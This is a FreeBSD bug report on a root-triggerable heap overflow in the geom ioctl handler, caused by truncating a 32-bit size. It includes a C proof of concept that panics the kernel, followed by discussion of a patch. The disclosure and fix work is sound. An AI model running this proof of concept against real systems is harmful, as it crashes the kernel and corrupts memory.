Bug 209113 - Heap overflow in geom ioctl handler
Summary: Heap overflow in geom ioctl handler
Status: New
Alias: None
Product: Base System
Classification: Unclassified
Component: kern (show other bugs)
Version: CURRENT
Hardware: Any Any
: --- Affects Only Me
Assignee: freebsd-geom (Nobody)
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2016-04-27 22:41 UTC by CTurt
Modified: 2016-07-20 21:02 UTC (History)
7 users (show)

See Also:


Attachments
Fix for 209113 (717 bytes, patch)
2016-07-18 01:34 UTC, rday
no flags Details | Diff

Note You need to log in before you can comment on or make changes to this bug.
Description CTurt 2016-04-27 22:41:05 UTC
There is a heap overflow in the `ioctl` handler for `geom`, which is non-critical since it is only triggerable as `root`.

Essentially, there are no checks on the user supplied `req.narg` value. The code uses this value to calculate a size by multiplying by `sizeof(struct gctl_req_arg)`, and then calls `g_malloc` and `copyin`.

`g_malloc` treats its `size` parameter as an `int`:

static __inline void *g_malloc(int size, int flags)

So this size will be truncated to 32 bit, however the `copyin` call will use the full 64 bit size.

PoC to trigger the bug, resulting in panic (must be run as `root`):

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <geom/geom_ctl.h>

int main(void) {
	int result;
	struct gctl_req req;
	int g;
	
	g = open("/dev/geom.ctl", O_RDONLY);
	if(g == -1) {
		printf("  [-] Couldn't open geom.ctl!\n");
		return 1;
	}
	
	req.error = malloc(0x100);
	req.lerror = 2;
	req.version = GCTL_VERSION;
	req.narg = 0x5555556;
	req.arg = malloc(0x4000);
	memset(req.arg, 'a', 0x4000);
	
	result = ioctl(g, GEOM_CTL, &req);
	printf("%d %d\n", result, errno);
	
	free(req.arg);
	
	return 0;
}
Comment 1 rday 2016-07-18 01:34:29 UTC
Created attachment 172625 [details]
Fix for 209113

A problem existed where a g_malloc call would allocate a buffer length specified by a 32 bit integer. Then copyin would write a 64 bit integer worth of data into the buffer.

By changing g_malloc()'s len argument to be a size_t (matching malloc) the buffer will always be large enough for copyin.

It is still possible to hang the process while waiting for a large enough allocation, so the M_NOWAIT flag has replaced the M_WAITOK flag.
Comment 2 Xin LI freebsd_committer freebsd_triage 2016-07-20 07:17:08 UTC
-secteam@.  This is not exploitable by non-root.
Comment 3 Xin LI freebsd_committer freebsd_triage 2016-07-20 07:20:40 UTC
(In reply to rday from comment #1)
I don't really like the M_NOWAIT part -- shouldn't we place a hard limit on how much the userland may request instead?
Comment 4 rday 2016-07-20 21:02:24 UTC
I think you're right, a hard limit would be better. I can't find a maximum parameter count or a maximum parameter size in the documentation though. I don't think I'm familiar enough with the system to come up with a value.

On the other hand, if root issues a malicious ioctl() then root's process just waits(using M_WAITOK). This doesn't seem like much of a concern.

Lacking a sufficient hard limit, would it be best to simply change the `size` parameter's type to size_t? Removing the M_NOWAIT change?